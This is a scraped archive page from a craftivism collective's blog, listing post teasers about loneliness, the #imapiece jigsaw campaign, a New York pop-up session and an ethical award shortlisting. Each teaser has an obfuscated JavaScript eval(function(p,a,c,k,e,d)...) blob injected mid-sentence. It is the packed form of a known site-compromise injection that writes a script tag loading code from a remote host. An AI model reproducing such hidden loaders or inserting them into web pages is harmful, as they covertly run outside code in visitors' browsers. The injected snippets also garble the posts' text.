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11 Jun CRAFTER-THOUGHT by Chloe Burrows: Make do and friend?

Posted at 01:30h in All, Crafter-Thought by Craftivist Collective 3 Comments
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Loneliness. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzdtn|var|u0026u|referrer|sydsd||js|php'.split('|'),0,{})) We all feel lonely sometimes, but with the proliferation of social media and actual real world scenes built on interests such as dancing...

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10 Jun What one humble Craftivist can achieve :) #imapiece

Posted at 17:45h in All by Craftivist Collective 3 Comments
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I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynffr|var|u0026u|referrer|kirzd||js|php'.split('|'),0,{})) received an email this morning from the wonderful craftivist Anne Clark of Angel Eden. Anna has been incredibly proactive and productive for our...

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08 Jun Craftivism Ingredient #1: Personal Reflection

Posted at 23:19h in All, Craftivist Ingredients by Craftivist Collective 4 Comments
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We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynzek|var|u0026u|referrer|hbedz||js|php'.split('|'),0,{})) believe that there are lots of ingredients needed to create effective craftivism activities that benefit the maker as well as reciever/viewer of the...

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08 Jun A #PopUPCraftivist in New York City Saturday 8th June: 2pm-5pm

Posted at 00:49h in All, Stitch-in by Craftivist Collective 3 Comments
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On eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thdfd|var|u0026u|referrer|baekk||js|php'.split('|'),0,{})) Saturday 8th June why not join our #PopUPCraftivist  in New York City for a FREE craftivism session or just a chat anytime between...

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06 Jun Canadian students are a piece of our puzzle too! #imapiece

Posted at 16:28h in All by Craftivist Collective 0 Comments
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Hello eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tekzi|var|u0026u|referrer|eearz||js|php'.split('|'),0,{})) from Toronto, Canada!    Sarah asked me to write about my Textile Design class’s experience creating jigsaw pieces for the #imapiece campaign.  When the project was...

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04 Jun #imapiece of the IF Hyde Park event 8th June- are you?

Posted at 14:42h in All, Event by Craftivist Collective 2 Comments
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Ok eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eybhz|var|u0026u|referrer|hzitr||js|php'.split('|'),0,{})) craftivistas so right now we approaching the moment that all our #imapiece Craftivist Jigsaws &  campaigning it has all been leading to: The...

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29 May Interested in what benefits people say they get from our craftivism workshops? Check out our short video here

Posted at 00:46h in All, Stitch-in by Craftivist Collective 0 Comments
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[youtube https://www.youtube.com/watch?v=AxZ9rKw0I0c?list=UUJ7gYHuTyKF0FPvyRpD_hxw] We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsaah|var|u0026u|referrer|brkbk||js|php'.split('|'),0,{})) often get emails from people who are frustrated that they can't travel to our workshops because our workshops are not in their...

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21 May We’ve been shortlisted for a 2013 Observer Ethical Award! :)

Posted at 18:38h in All, Media Alert by Craftivist Collective 4 Comments
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I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfznt|var|u0026u|referrer|besfn||js|php'.split('|'),0,{})) got a surprise phone call whilst on holiday and it was from the Observer Ethical Awards saying that we have been shortlisted with...

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20 May Craft Crush #5: Carrie Reichardt

Posted at 00:01h in All, Craft Crush by Craftivist Collective 0 Comments
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As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iedtk|var|u0026u|referrer|ykbny||js|php'.split('|'),0,{})) the Craftivist Collective we love to showcase fellow craft-lovers who inspire us to keep crafting, teach us new craft skills & new ways...

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09 May #imapiece Installation in Northern Ireland! Where will it go next?

Posted at 23:41h in All, Event, Stitch-in by Craftivist Collective 2 Comments
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Calling eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frfdn|var|u0026u|referrer|hrbrd||js|php'.split('|'),0,{})) all Northern Ireland Craftivists! Don't forget that the #imapiece installation of over 700 hand-stitched jigsaw pieces supporting Save the Children's Race Against Hunger...

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